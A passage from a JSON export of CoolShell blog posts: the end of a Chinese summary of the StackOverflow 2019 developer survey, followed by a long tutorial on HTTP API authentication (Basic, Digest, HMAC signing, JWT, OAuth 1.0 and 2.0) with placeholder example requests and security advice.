在后面还有一个编程语言的薪资图，我们可以看到，在上面被提过的这些个编程语言中，**Go语言的薪资是最高的（这可能是因为Go语言写关键的系统级的中件间——因为Go语言正在成为云计算的第一编程语言）**，然后是Scala、Ruby、WebAssembly、Rust、Erlang、Shell、Python、Typescript……\n\n\n**通过这些个信息，我们可以看出主流技术、有潜力的技术，传统过气技术，以及相关薪资，对我们在选择编程语言上有一定的启示。**\n\n\n在后面，我们可以看到:\n\n\n* 在 Web 开发框架上，主流使用还是 jQuery, React.js，Angular.js 为最前面的三个前端开发框架。而被程序员所喜欢的则是 React.js，Vue.js，Express, Spring，程序员非常不喜欢 Drupal，jQuery，Ruby on Rails 和Angular.js……\n* 在其它开发框架/库/工具上，主流是Node.js、.NET、Pandas、Unity 3D、Tensorflow、Ansible、Cordova、Xamarin……而程序员比较喜欢的是.NET、Torch/PyTorch、Flutter、Pandas、Tensorflow、Node.js …\n* 在操作系统上，主流使用Linux、Windows、Docker、Android、AWS……，而程序员最喜欢的是Linux、Docker、Kubernetes、Raspberry Pi、AWS、MacOS、iOS……\n* 在数据库上，MySQL、PostgreSQL、MSSQL、SQLite、MongoDB、Redis、Elasticsearch是比较主流的，而程序员非常喜欢的是，Redis、PostgreSQL、Elasticsearch、Firebase、MongoDB……，程序员比较讨厌的是 Couchbase、Oracle、Cassandra、MySQL。\n\n\n**从这些个图表中，我们可以看到主流和有潜力的技术是什么，我们可以看到 Windows 的技术并没有过时，感觉似乎都有可能会卷土重来，但是，开源的技术来势凶凶，正在吞食整个软件业，不容小觑，Docker/Kubernetes无论是在主流应用上还是被程序员的喜好上都是非常猛的，而云平台的AWS开始成为标准平台技术……**\n\n\n接下来的开发工具中，我们可以看到：\n\n\n* Visual Studio Code 成为了最流行的开发工具。让我没有想到的是跟在后面的是 Notepad++（好久没用这个工具了，我得找回来用用了），而IntelliJ、Vim、Sublime Text排以后面。 Eclipse 和 Atom 动力不足，Emacs 开始变得小众了。\n* 程序员主要的开发平台还是Windows占了近1/2， MacOS和Linux随后，各占1/4。\n* 有38%的人使用容器技术做开发，30%的人使用容器做测试，在生产线上使用容器的有26%\n\n\n**看样子编程开发工具还是Visual Studio 和 IntelliJ的天下，MacOS/Linux正在抢Windows的开发市场**\n\n\n接下来，StackOverflow给了一个技术圈的图\n\n\n![](../wp-content/uploads/2019/04/06-08.Technology.Circle-1024x1024.png)\n\n\n从上面这个图中，我们可以看以技术的几圈子：\n\n\n* **Microsoft圈** – Windows、.NET、ASP.NET、C#、Azure、SQL Server\n* **Java圈** – Java、Spring\n* **手机圈** – Android、 iOS、Kotlin、Swift、Firebase\n* **前端圈** – Javascript、React.js、Angular.js、PHP\n* **大数据圈** – Python、TensorFlow、Torch/PyTorch\n* **基础平台圈** – Linux、Shell、Vim、Docker、Kubernetes、Elasticsearch、Redis……\n* **其它圈子** – C/C++/汇编圈子、Ruby圈子、Hadoop/Spark圈子、……\n\n\n**看到谁的圈子大了吧，圈子大的并不代表技术实力强或是有前途，不过可以代表在那个圈子相关的关联技术，一方面，可以给你一些相关的参考，另一方面，整体可以让你看到全部的目前比较主流的技术。**\n\n\n#### 第三部份 工作\n\n\n在第三部份工作中，我们可以看到如下的一些数据：\n\n\n* 有3/4的程序员是全职的，10%左右的程序员是自由职业，6%左右的程序员是失业的，这个比例在北美、印度和欧洲都差不多。\n* 有1/3的人在过去一年内换过工作，1/4的人在过去1-2年间换过工作，1/3的人在2-4年换过工作。\n* 程序员找工作时，影响程序员的几个主要因素是：技术（编程语言、框架和使用的技术）、办公环境和公司文化、灵活的时间和安排、更专业的机会、远程工作……\n* 影响程序员工作的几大因素是：有干扰的工作环境、开会、要干一些和开发无关的事、人手不够、管理不够、工具不够、通勤时间……\n* 对于工程质量，有近70%的人有Code Review，而30%的则没有；有60%多的人有Unit Test，而不到40%的没有……\n\n\n**从工作中我们可以看到，程序员还是比较关心技术和公司文化的，换工作也是这个职业很正常的特性，他们并不喜欢被打扰，希望有足够的时间，而对于工程质量还是很有追求的。**\n\n\n最后用一张程序员的“**每周工作时间**” 来结束本文！\n\n\n![](../wp-content/uploads/2019/04/07-09.Hours_.Worked.Per_.Week_-1024x640.png)\n\n\n祝大家快乐！\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [StackOverflow 2019 程序员调查](https://coolshell.cn/articles/19307.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-5-9 HTTP API 认证授权术.md",
    "content": "---\nlayout: post\ntitle: HTTP API 认证授权术\ndate: 2019/5/9/ 13:37:29\nupdated: 2019/5/9/ 13:37:29\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2019/05/Authorization-360x200.png)我们知道，HTTP是无状态的，所以，当我们需要获得用户是否在登录的状态时，我们需要检查用户的登录状态，一般来说，用户的登录成功后，服务器会发一个登录凭证（又被叫作Token），就像你去访问某个公司，在前台被认证过合法后，这个公司的前台会给你的一个访客卡一样，之后，你在这个公司内去到哪都用这个访客卡来开门，而不再校验你是哪一个人。在计算机的世界里，这个登录凭证的相关数据会放在两种地方，一个地方在用户端，以Cookie的方式（一般不会放在浏览器的Local Storage，因为这很容易出现登录凭证被XSS攻击），另一个地方是放在服务器端，又叫Session的方式（SessonID存于Cookie）。\n\n\n但是，这个世界还是比较复杂的，除了用户访问，还有用户委托的第三方的应用，还有企业和企业间的调用，这里，我想把业内常用的一些 API认证技术相对系统地总结归纳一下，这样可以让大家更为全面的了解这些技术。**注意，这是一篇长文！**\n\n\n本篇文章会覆盖如下技术：\n\n\n* HTTP Basic\n* Digest Access\n* App Secret Key + HMAC\n* JWT – JSON Web Tokens\n* OAuth 1.0 – 3 legged & 2 legged\n* OAuth 2.0 – Authentication Code & Client Credential\n\n\n\n#### HTTP Basic\n\n\nHTTP Basic 是一个非常传统的API认证技术，也是一个比较简单的技术。这个技术也就是使用 `username`和 `password` 来进行登录。整个过程被定义在了 [RFC 2617](http://tools.ietf.org/html/rfc2617) 中，也被描述在了 [Wikipedia: Basic Access Authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) 词条中，同时也可以参看 [MDN HTTP Authentication](https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication)\n\n\n其技术原理如下：\n\n\n1. 把 `username`和 `password` 做成  `username:password` 的样子（用冒号分隔）\n2. 进行Base64编码。`Base64(\"username:password\")` 得到一个字符串（如：把 `haoel:coolshell` 进行base64 后可以得到 `aGFvZW86Y29vbHNoZWxsCg` ）\n3. 把 `aGFvZW86Y29vbHNoZWxsCg`放到HTTP头中 [`Authorization`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization) 字段中，形成 `Authorization: Basic aGFvZW86Y29vbHNoZWxsCg`，然后发送到服务端。\n4. 服务端如果没有在头里看到认证字段，则返回401错，以及一个个[WWW-Authenticate](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/WWW-Authenticate)`: Basic Realm='HelloWorld'` 之类的头要求客户端进行认证。之后如果没有认证通过，则返回一个401错。如果服务端认证通过，那么会返回200。\n\n\n我们可以看到，使用Base64的目的无非就是为了把一些特殊的字符给搞掉，这样就可以放在HTTP协议里传输了。而这种方式的问题最大的问题就是把用户名和口令放在网络上传，所以，一般要配合TLS/SSL的安全加密方式来使用。我们可以看到 [JIRA Cloud 的API认证](https://developer.atlassian.com/cloud/jira/platform/jira-rest-api-basic-authentication/)支持HTTP Basic 这样的方式。\n\n\n但我们还是要知道，这种把用户名和密码同时放在公网上传输的方式有点不太好，因为Base64不是加密协议，而是编码协议，所以就算是有HTTPS作为安全保护，给人的感觉还是不放心。\n\n\n#### Digest Access\n\n\n中文称“HTTP 摘要认证”，最初被定义在了 [RFC 2069](https://tools.ietf.org/html/rfc2069) 文档中（后来被 [RFC 2617](https://tools.ietf.org/html/rfc2617) 引入了一系列安全增强的选项；“保护质量”(qop)、随机数计数器由客户端增加、以及客户生成的随机数）。\n\n\n其基本思路是，请求方把用户名口令和域做一个MD5 –  `MD5(username:realm:password)` 然后传给服务器，这样就不会在网上传用户名和口令了，但是，因为用户名和口令基本不会变，所以，这个MD5的字符串也是比较固定的，因此，这个认证过程在其中加入了两个事，一个是 `nonce` 另一个是 `qop`\n\n\n* 首先，调用方发起一个普通的HTTP请求。比如：`GET /coolshell/admin/ HTTP/1.1`\n* 服务端自然不能认证能过，服务端返回401错误，并且在HTTP头里的 `WWW-Authenticate` 包含如下信息：\n\n\n\n```\n WWW-Authenticate: Digest realm=\"testrealm@host.com\",\n                        qop=\"auth,auth-int\",\n                        nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\",\n                        opaque=\"5ccc069c403ebaf9f0171e9517f40e41\"\n```\n\n* 其中的 `nonce` 为服务器端生成的随机数，然后，客户端做 `HASH1=MD5(MD5(username:realm:password):nonce:cnonce)` ，其中的 `cnonce` 为客户端生成的随机数，这样就可以使得整个MD5的结果是不一样的。\n* 如果 `qop` 中包含了 `auth` ，那么还得做  `HASH2=MD5(method:digestURI)` 其中的 `method` 就是HTTP的请求方法（GET/POST…），`digestURI` 是请求的URL。\n* 如果 `qop` 中包含了 `auth-init` ，那么，得做  `HASH2=MD5(method:digestURI:MD5(entityBody))` 其中的 `entityBody` 就是HTTP请求的整个数据体。\n* 然后，得到 `response = MD5(HASH1:nonce:nonceCount:cnonce:qop:HASH2)` 如果没有 `qop`则 `response = MD5(HA1:nonce:HA2)`\n* 最后，我们的客户端对服务端发起如下请求—— 注意HTTP头的 `Authorization: Digest ...`\n\n\n\n```\nGET /dir/index.html HTTP/1.0\nHost: localhost\nAuthorization: Digest username=\"Mufasa\",\n                     realm=\"testrealm@host.com\",\n                     nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\",\n                     uri=\"%2Fcoolshell%2Fadmin\",\n                     qop=auth,\n                     nc=00000001,\n                     cnonce=\"0a4f113b\",\n                     response=\"6629fae49393a05397450978507c4ef1\",\n                     opaque=\"5ccc069c403ebaf9f0171e9517f40e41\"\n```\n\n维基百科上的 [Wikipedia: Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication) 词条非常详细地描述了这个细节。\n\n\n摘要认证这个方式会比之前的方式要好一些，因为没有在网上传递用户的密码，而只是把密码的MD5传送过去，相对会比较安全，而且，其并不需要是否TLS/SSL的安全链接。但是，**别看这个算法这么复杂，最后你可以发现，整个过程其实关键是用户的password，这个password如果不够得杂，其实是可以被暴力破解的，而且，整个过程是非常容易受到中间人攻击**——比如一个中间人告诉客户端需要的 Basic 的认证方式 或是 老旧签名认证方式（RFC2069）。\n\n\n#### App Secret Key + HMAC\n\n\n先说HMAC技术，这个东西来自于MAC – [Message Authentication Code](https://en.wikipedia.org/wiki/Message_authentication_code)，是一种用于给消息签名的技术，也就是说，我们怕消息在传递的过程中被人修改，所以，我们需要用对消息进行一个MAC算法，得到一个摘要字串，然后，接收方得到消息后，进行同样的计算，然后比较这个MAC字符串，如果一致，则表明没有被修改过（整个过程参看下图）。而HMAC – [Hash-based Authenticsation Code](https://en.wikipedia.org/wiki/HMAC)，指的是利用Hash技术完成这一工作，比如：SHA-256算法。\n\n\n \n\n\n![](../wp-content/uploads/2019/05/MAC-1024x634.png)\n\n\n（图片来自 [Wikipedia – MAC 词条](https://en.wikipedia.org/wiki/Message_authentication_code) ）\n\n\n我们再来说App ID，这个东西跟验证没有关系，只是用来区分，是谁来调用API的，就像我们每个人的身份证一样，只是用来标注不同的人，不是用来做身份认证的。与前面的不同之处是，这里，我们需要用App ID 来映射一个用于加密的密钥，这样一来，我们就可以在服务器端进行相关的管理，我们可以生成若干个密钥对（AppID, AppSecret），并可以有更细粒度的操作权限管理。\n\n\n把AppID和HMAC用于API认证，目前来说，玩得最好最专业的应该是AWS了，我们可以通过[S3的API请求签名文档](https://docs.aws.amazon.com/zh_cn/general/latest/gr/sigv4-create-canonical-request.html)看到AWS是怎么玩的。整个过程还是非常复杂的，可以通过下面的图片流程看个大概。基本上来说，分成如下几个步骤：\n\n\n1. 把HTTP的请求（方法、URI、查询字串、头、签名头，body）打个包叫 `CanonicalRequest`，作个SHA-256的签名，然后再做一个base16的编码\n2. 把上面的这个签名和签名算法 `AWS4-HMAC-SHA256`、时间戳、Scop，再打一个包，叫 `StringToSign`。\n3. 准备签名，用 `AWSSecretAccessKey`来对日期签一个 `DataKey`，再用 `DataKey` 对要操作的Region签一个 `DataRegionKey` ，再对相关的服务签一个`DataRegionServiceKey` ，最后得到 `SigningKey`.\n4. 用第三步的 `SigningKey`来对第二步的 `StringToSign` 签名。\n\n\n![](../wp-content/uploads/2019/05/sigV4-using-query-params.png)\n\n\n \n\n\n最后，发出HTTP Request时，在HTTP头的 `Authorization`字段中放入如下的信息：\n\n\n\n```\nAuthorization: AWS4-HMAC-SHA256 \n               Credential=AKIDEXAMPLE/20150830/us-east-1/iam/aws4_request, \n               SignedHeaders=content-type;host;x-amz-date, \n               Signature=5d672d79c15b13162d9279b0855cfba6789a8edb4c82c400e06b5924a6f2b5d7\n\n```\n\n \n\n\n其中的  `AKIDEXAMPLE` 是 AWS Access Key ID， 也就是所谓的 AppID，服务器端会根据这个AppID来查相关的 Secret Access Key，然后再验证签名。如果，你对这个过程有点没看懂的话，你可以读一读这篇文章——《[Amazon S3 Rest API with curl](https://czak.pl/2015/09/15/s3-rest-api-with-curl.html)》这篇文章里有好些代码，代码应该是最有细节也是最准确的了。\n\n\n这种认证的方式好处在于，AppID和AppSecretKey，是由服务器的系统开出的，所以，是可以被管理的，AWS的IAM就是相关的管理，其管理了用户、权限和其对应的AppID和AppSecretKey。但是不好的地方在于，这个东西没有标准 ，所以，各家的实现很不一致。比如： [Acquia 的 HMAC](https://github.com/acquia/http-hmac-spec)，[微信的签名算法](https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=4_3) （这里，我们需要说明一下，微信的API没有遵循HTTP协议的标准，把认证信息放在HTTP 头的 `Authorization` 里，而是放在body里）\n\n\n#### JWT – JSON Web Tokens\n\n\nJWT是一个比较标准的认证解决方案，这个技术在Java圈里应该用的是非常普遍的。JWT签名也是一种MAC（[Message Authentication Code](https://en.wikipedia.org/wiki/Message_authentication_code)）的方法。JWT的签名流程一般是下面这个样子：\n\n\n1. 用户使用用户名和口令到认证服务器上请求认证。\n2. 认证服务器验证用户名和口令后，以服务器端生成JWT Token，这个token的生成过程如下：\n\t* 认证服务器还会生成一个 Secret Key（密钥）\n\t* 对JWT Header和 JWT Payload分别求Base64。在Payload可能包括了用户的抽象ID和的过期时间。\n\t* 用密钥对JWT签名 `HMAC-SHA256(SecertKey, Base64UrlEncode(JWT-Header)+'.'+Base64UrlEncode(JWT-Payload));`\n3. 然后把 `base64(header).base64(payload).signature` 作为 JWT token返回客户端。\n4. 客户端使用JWT Token向应用服务器发送相关的请求。这个JWT Token就像一个临时用户权证一样。\n\n\n当应用服务器收到请求后：\n\n\n1. 应用服务会检查 JWT  Token，确认签名是正确的。\n2. 然而，因为只有认证服务器有这个用户的Secret Key（密钥），所以，应用服务器得把JWT Token传给认证服务器。\n3. 认证服务器通过JWT Payload 解出用户的抽象ID，然后通过抽象ID查到登录时生成的Secret Key，然后再来检查一下签名。\n4. 认证服务器检查通过后，应用服务就可以认为这是合法请求了。\n\n\n我们可以看以，上面的这个过程，是在认证服务器上为用户动态生成 Secret Key的，应用服务在验签的时候，需要到认证服务器上去签，这个过程增加了一些网络调用，所以，JWT除了支持HMAC-SHA256的算法外，还支持RSA的非对称加密的算法。\n\n\n使用RSA非对称算法，在认证服务器这边放一个私钥，在应用服务器那边放一个公钥，认证服务器使用私钥加密，应用服务器使用公钥解密，这样一来，就不需要应用服务器向认证服务器请求了，但是，RSA是一个很慢的算法，所以，虽然你省了网络调用，但是却费了CPU，尤其是Header和Payload比较长的时候。所以，一种比较好的玩法是，如果我们把header 和 payload简单地做SHA256，这会很快，然后，我们用RSA加密这个SHA256出来的字符串，这样一来，RSA算法就比较快了，而我们也做到了使用RSA签名的目的。\n\n\n最后，我们只需要使用一个机制在认证服务器和应用服务器之间定期地换一下公钥私钥对就好了。\n\n\n这里强烈建议全文阅读 Anglar 大学的 《[JSW：The Complete Guide to JSON Web Tokens](https://blog.angular-university.io/angular-jwt/)》\n\n\n#### OAuth 1.0\n\n\nOAuth也是一个API认证的协议，这个协议最初在2006年由Twitter的工程师在开发OpenID实现的时候和社交书签网站Ma.gnolia时发现，没有一种好的委托授权协议，后来在2007年成立了一个OAuth小组，知道这个消息后，Google员工也加入进来，并完善有善了这个协议，在2007年底发布草案，过一年后，在2008年将OAuth放进了IETF作进一步的标准化工作，最后在2010年4月，正式发布OAuth 1.0，即：[RFC 5849](https://tools.ietf.org/html/rfc5849) （这个RFC比起TCP的那些来说读起来还是很轻松的），不过，如果你想了解其前身的草案，可以读一下 [OAuth Core 1.0 Revision A](http://oauth.net/core/1.0a/) ，我在下面做个大概的描述。\n\n\n根据RFC 5849，可以看到 OAuth 的出现，目的是为了，用户为了想使用一个第三方的网络打印服务来打印他在某网站上的照片，但是，用户不想把自己的用户名和口令交给那个第三方的网络打印服务，但又想让那个第三方的网络打印服务来访问自己的照片，为了解决这个授权的问题，OAuth这个协议就出来了。\n\n\n* 这个协议有三个角色：\n\t+ **User（照片所有者-用户）**\n\t+ **Consumer（第三方照片打印服务）**\n\t+ **Service Provider（照片存储服务）**\n* 这个协义有三个阶段：\n\t+ **Consumer获取Request Token**\n\t+ **Service Provider 认证用户并授权Consumer**\n\t+ **Consumer获取Access Token调用API访问用户的照片**\n\n\n整个授权过程是这样的：\n\n\n1. Consumer（第三方照片打印服务）需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret\n2. 当 User 访问 Consumer 时，Consumer 向 Service Provide 发起请求请求Request Token （需要对HTTP请求签名）\n3. Service Provide 验明 Consumer 是注册过的第三方服务商后，返回 Request Token（`oauth_token`）和 Request Token Secret （`oauth_token_secret`）\n4. Consumer 收到 Request Token 后，使用HTTP GET 请求把 User 切到 Service Provide 的认证页上（其中带上Request Token），让用户输入他的用户和口令。\n5. Service Provider 认证 User 成功后，跳回 Consumer，并返回 Request Token （`oauth_token`）和 Verification Code（`oauth_verifier`）\n6. 接下来就是签名请求，用Request Token 和 Verification Code 换取 Access Token （`oauth_token`）和 Access Token Secret (`oauth_token_secret`)\n7. 最后使用Access Token 访问用户授权访问的资源。\n\n\n下图附上一个Yahoo!的流程图可以看到整个过程的相关细节。\n\n\n![](../wp-content/uploads/2019/05/oauth_graph.gif)\n\n\n因为上面这个流程有三方：User，Consumer 和 Service Provide，所以，又叫 3-legged flow，三脚流程。OAuth 1.0 也有不需要用户参与的，只有Consumer 和 Service Provider 的， 也就是 2-legged flow 两脚流程，其中省掉了用户认证的事。整个过程如下所示：\n\n\n1. Consumer（第三方照片打印服务）需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret\n2. Consumer 向 Service Provide 发起请求请求Request Token （需要对HTTP请求签名）\n3. Service Provide 验明 Consumer 是注册过的第三方服务商后，返回 Request Token（`oauth_token`）和 Request Token Secret （`oauth_token_secret`）\n4. Consumer 收到 Request Token 后，直接换取 Access Token （`oauth_token`）和 Access Token Secret (`oauth_token_secret`)\n5. 最后使用Access Token 访问用户授权访问的资源。\n\n\n最后，再来说一说OAuth中的签名。\n\n\n* 我们可以看到，有两个密钥，一个是Consumer注册Service Provider时由Provider颁发的 Consumer Secret，另一个是 Token Secret。\n* 签名密钥就是由这两具密钥拼接而成的，其中用 `&`作连接符。假设 Consumer Secret 为 `j49sk3j29djd` 而 Token Secret 为`dh893hdasih9`那个，签名密钥为：`j49sk3j29djd&dh893hdasih9`\n* 在请求Request/Access Token的时候需要对整个HTTP请求进行签名（使用HMAC-SHA1和HMAC-RSA1签名算法），请求头中需要包括一些OAuth需要的字段，如：\n\t+ **Consumer Key** ： 也就是所谓的AppID\n\t+ **Token**： Request Token 或 Access Token\n\t+ **Signature Method** ：签名算法比如：HMAC-SHA1\n\t+ **Timestamp**：过期时间\n\t+ **Nonce**：随机字符串\n\t+ **Call Back**：回调URL\n\n\n下图是整个签名的示意图：\n\n\n![](../wp-content/uploads/2019/05/oauth_singature.png)\n\n\n图片还是比较直观的，我就不多解释了。\n\n\n#### OAuth 2.0\n\n\n在前面，我们可以看到，从Digest Access， 到AppID+HMAC，再到JWT，再到OAuth 1.0，这些个API认证都是要向Client发一个密钥（或是用密码）然后用HASH或是RSA来签HTTP的请求，**这其中有个主要的原因是，以前的HTTP是明文传输，所以，在传输过程中很容易被篡改，于是才搞出来一套的安全签名机制**，所以，这些个认证的玩法是可以在HTTP明文协议下玩的。\n\n\n这种使用签名方式大家可以看到是比较复杂的，所以，对于开发者来说，也是很不友好的，在组织签名的那些HTTP报文的时候，各种，URLEncode和Base64，还要对Query的参数进行排序，然后有的方法还要层层签名，非常容易出错，另外，这种认证的安全粒度比较粗，授权也比较单一，对于有终端用户参与的移动端来说也有点不够。所以，在2012年的时候，OAuth 2.0 的 [RFC 6749](https://tools.ietf.org/html/rfc6749) 正式放出。\n\n\n**OAuth 2.0依赖于TLS/SSL的链路加密技术（HTTPS），完全放弃了签名的方式，认证服务器再也不返回什么 token secret 的密钥了，所以，OAuth 2.0是完全不同于1.0 的，也是不兼容的**。目前，Facebook 的 Graph API 只支持OAuth 2.0协议，Google 和 Microsoft Azure 也支持Auth 2.0，国内的微信和支付宝也支持使用OAuth 2.0。\n\n\n下面，我们来重点看一下OAuth 2.0的两个主要的Flow：\n\n\n* 一个是Authorization Code Flow， 这个是 3 legged 的\n* 一个是Client Credential Flow，这个是 2 legged 的。\n\n\n##### **Authorization Code Flow**\n\n\nAuthorization Code 是最常使用的OAuth 2.0的授权许可类型，它适用于用户给第三方应用授权访问自己信息的场景。这个Flow也是OAuth 2.0四个Flow中我个人觉得最完整的一个Flow，其流程图如下所示。\n\n\n![](../wp-content/uploads/2019/05/auth_code_flow.png)\n\n\n \n\n\n下面是对这个流程的一个细节上的解释：\n\n\n1）当用户（Resource Owner）访问第三方应用（Client）的时候，第三方应用会把用户带到认证服务器（Authorization Server）上去，主要请求的是 `/authorize` API，其中的请求方式如下所示。\n\n\n\n```\nhttps://login.authorization-server.com/authorize?\n        client_id=6731de76-14a6-49ae-97bc-6eba6914391e\n        &response_type=code\n        &redirect_uri=http%3A%2F%2Fexample-client.com%2Fcallback%2F\n        &scope=read\n        &state=xcoiv98CoolShell3kch\n```\n\n其中：\n\n\n* + `client_id`为第三方应用的App ID\n\t+ `response_type=code`为告诉认证服务器，我要走Authorization Code Flow。\n\t+ `redirect_uri`意思是我跳转回第三方应用的URL\n\t+ `scope`意是相关的权限\n\t+ `state` 是一个随机的字符串，主要用于防CSRF攻击。\n\n\n2）当Authorization Server收到这个URL请求后，其会通过 `client_id`来检查 `redirect_uri`和 `scope`是否合法，如果合法，则弹出一个页面，让用户授权（如果用户没有登录，则先让用户登录，登录完成后，出现授权访问页面）。\n\n\n3）当用户授权同意访问以后，Authorization Server 会跳转回 Client ，并以其中加入一个 Authorization Code。 如下所示：\n\n\n\n```\nhttps://example-client.com/callback?\n        code=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG\n        &state=xcoiv98CoolShell3kch\n```\n\n我们可以看到，\n\n\n* + 请流动的链接是第 1）步中的 `redirect_uri`\n\t+ 其中的 `state` 的值也和第 1）步的 `state`一样。\n\n\n4）接下来，Client 就可以使用 Authorization Code 获得 Access Token。其需要向 Authorization Server 发出如下请求。\n\n\n\n```\nPOST /oauth/token HTTP/1.1\nHost: authorization-server.com\n \ncode=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG\n&grant_type=code\n&redirect_uri=https%3A%2F%2Fexample-client.com%2Fcallback%2F\n&client_id=6731de76-14a6-49ae-97bc-6eba6914391e\n&client_secret=JqQX2PNo9bpM0uEihUPzyrh\n```\n\n5）如果没什么问题，Authorization 会返回如下信息。\n\n\n\n```\n{\n  \"access_token\": \"iJKV1QiLCJhbGciOiJSUzI1NiI\",\n  \"refresh_token\": \"1KaPlrEqdFSBzjqfTGAMxZGU\",\n  \"token_type\": \"bearer\",\n  \"expires\": 3600,\n  \"id_token\": \"eyJ0eXAiOiJKV1QiLCJhbGciO.eyJhdWQiOiIyZDRkM...\"\n}\n```\n\n其中，\n\n\n* + `access_token`就是访问请求令牌了\n\t+ `refresh_token`用于刷新 `access_token`\n\t+ `id_token` 是JWT的token，其中一般会包含用户的OpenID\n\n\n6）接下来就是用 Access Token 请求用户的资源了。\n\n\n\n```\nGET /v1/user/pictures\nHost: https://example.resource.com\n\nAuthorization: Bearer iJKV1QiLCJhbGciOiJSUzI1NiI\n```\n\n \n\n\n#####  Client Credential Flow\n\n\nClient Credential 是一个简化版的API认证，主要是用于认证服务器到服务器的调用，也就是没有用户参与的的认证流程。下面是相关的流程图。\n\n\n![](../wp-content/uploads/2019/05/client_credentials_flow.png)\n\n\n这个过程非常简单，本质上就是Client用自己的 `client_id`和 `client_secret`向Authorization Server 要一个 Access Token，然后使用Access Token访问相关的资源。\n\n\n请求示例\n\n\n\n```\nPOST /token HTTP/1.1\nHost: server.example.com\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=client_credentials\n&client_id=czZCaGRSa3F0Mzpn\n&client_secret=7Fjfp0ZBr1KtDRbnfVdmIw\n```\n\n返回示例\n\n\n\n```\n{\n  \"access_token\":\"MTQ0NjJkZmQ5OTM2NDE1ZTZjNGZmZjI3\",\n  \"token_type\":\"bearer\",\n  \"expires_in\":3600,\n  \"refresh_token\":\"IwOGYzYTlmM2YxOTQ5MGE3YmNmMDFkNTVk\",\n  \"scope\":\"create\"\n}\n```\n\n这里，容我多扯一句，微信公从平台的开发文档中，使用了OAuth 2.0 的 Client Credentials的方式（参看文档“[微信公众号获取access token](https://mp.weixin.qq.com/wiki?t=resource/res_main&id=mp1421140183)”），我截了个图如下所谓。我们可以看到，**微信公众号使用的是GET方式的请求，把AppID和AppSecret放在了URL中，虽然这也符合OAuth 2.0，但是并不好，因为大多数网关代理会把整个URI请求记到日志中。我们只要脑补一下腾讯的网关的Access Log，里面的日志一定会有很多的各个用户的AppID和AppSecret……**\n\n\n![](../wp-content/uploads/2019/05/wechat.dev_-1024x876.png)\n\n\n \n\n\n#### 小结\n\n\n讲了这么多，我们来小结一下（下面的小结可能会有点散）\n\n\n##### 两个术语和三个概念\n\n\n* 区分两个术语：Authentication（认证） 和 Authorization （授权），前者是证明请求者是身份，就像身份证一样，后者是为了获得权限。身份是区别于别人的证明，而权限是证明自己的特权。Authentication为了证明操作的这个人就是他本人，需要提供密码、短信验证码，甚至人脸识别。Authorization 则是不需要在所有的请求都需要验人，是在经过Authorization后得到一个Token，这就是Authorization。就像护照和签证一样。\n* 区分三个概念：编码Base64Encode、签名HMAC、加密RSA。Base64编码是为了更好的传输（没有怪异的字符，可以传输二进制文件），等同于明文，HMAC签名是为了信息不能被篡改，RSA加密是为了不让别人看到是什么信息。\n\n\n##### 明白一些初衷\n\n\n* 使用复杂地HMAC哈希签名方式主要是应对当年没有TLS/SSL加密链路的情况。\n* JWT把 `uid` 放在 Token中目的是为了去掉状态，但不能让用户修改，所以需要签名。\n* OAuth 1.0区分了两个事，一个是第三方的Client，一个是真正的用户，其先拿Request Token，再换Access Token的方法主要是为了把第三方应用和用户区分开来。\n* 用户的Password是用户自己设置的，复杂度不可控，服务端颁发的Serect会很复杂，但主要目的是为了容易管理，可以随时注销掉。\n* OAuth 协议有比所有认证协议有更为灵活完善的配置，如果使用AppID/AppSecret签名的方式，又需要做到可以有不同的权限和可以随时注销，那么你得开发一个像AWS的IAM这样的账号和密钥对管理的系统。\n\n\n##### 相关的注意事项\n\n\n* 无论是哪种方式，我们都应该遵循HTTP的规范，把认证信息放在 `Authorization` HTTP 头中。\n* 不要使用GET的方式在URL中放入secret之类的东西，因为很多proxy或gateway的软件会把整个URL记在Access Log文件中。\n* 密钥Secret相当于Password，但他是用来加密的，最好不要在网络上传输，如果要传输，最好使用TLS/SSL的安全链路。\n* HMAC中无论是MD5还是SHA1/SHA2，其计算都是非常快的，RSA的非对称加密是比较耗CPU的，尤其是要加密的字符串很长的时候。\n* 最好不要在程序中hard code 你的 Secret，因为在github上有很多黑客的软件在监视各种Secret，千万小心！这类的东西应该放在你的配置系统或是部署系统中，在程序启动时设置在配置文件或是环境变量中。\n* 